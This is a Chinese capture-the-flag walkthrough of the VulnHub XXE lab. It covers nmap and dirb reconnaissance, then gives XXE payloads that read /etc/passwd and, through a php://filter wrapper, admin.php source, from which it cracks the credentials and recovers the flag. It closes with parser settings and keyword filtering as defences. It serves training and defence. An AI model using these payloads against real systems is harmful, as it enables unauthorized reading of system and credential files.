文章源自【字节脉搏社区】-字节脉搏实验室
作者-purplet
靶机下载链接:https://download.vulnhub.com/xxe/XXE.zip
我们这里的VMnet8 是NAT模式啊(打开虚拟网络编辑器:虚拟机的左上角 编辑 –->网络虚拟编辑器)接下来切换到kali linux即可开启愉快的练习了。
2.信息收集
首先扫描C段存活主机,找到目标机器,使用命令nmap 192.168.194.0/24
红框区域即为目标主机IP,同时发现只开放了80端口,接着使用nmap -A 192.168.194.188探查详细信息
再使用dirb http://192.168.194.188对目录进行爆破,或者使用dirsearch等其他目录扫描工具,结果如下图所示。
综上:我们得知该网站存在80端口,robots.txt和xxe目录。
3.渗透测试:
(1)访问http://192.168.194.188/robots.txt
(2)访问http://192.168.194.188/xxe,是一个登陆页面
(3)输入内容抓包测试,可以看到用户名和密码是通过xml传递给后端的。
(4)尝试测试是否存在xxe漏洞
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<root><name>&admin;</name><password>1</password></root>
得到内容回显,再次尝试使用php://filter/read=convert.base64-encode/resource=admin.php读取/xxe/目录下的admin.php的源码
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&admin;</name><password>admin</password></root>
将得到的base64编码的admin.php的源码进行解密
可以得到登录的账号和密码,将密码的md5指拿去在线网站进行解密得到:admin@123
访问:http://192.168.194.188/xxe/admin.php,输入得到的账号密码
点击Flag,跳转到http://192.168.194.188/xxe/flagmeout.php,查看源代码得到一串base32字母,解密后再进行一次base64解密,得到
这里注意在源码中给出了输入正确用户名和密码的跳转链接,同时完全可以在不输入正确的用户名和密码的情况下直接访问。这种情况在实际渗透测试的过程中要注意,说不定会有惊喜,可以省不少麻烦。
接下来回到刚刚存在xxe漏洞的页面,继续抓包读取/etc/.flag.php文件
解码后得到一串疑似php的代码,但是变量名做了大幅度修改
最后将该代码拿到php代码美化网站进行格式化,如:http://www.jsons.cn/phpformat/,再放到phpstudy上保存为flag.php。访问从报错信息中得到flag。
防御措施:
xxe漏洞存在是因为XML解析器解析了用户发送的不可信数据。然而,要去校验DTD(document type definition)中SYSTEM标识符定义的数据,并不容易,也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此,最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为false,XML外部实体攻击就能够被阻止。因此,可将外部实体、参数实体和内联DTD 都设置为false,从而避免基于XXE漏洞的攻击。
1.禁用xml外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.过滤xml外部实体的关键字:
过滤<!DOCTYPE>, <!ENTITY>, SYSTEM 等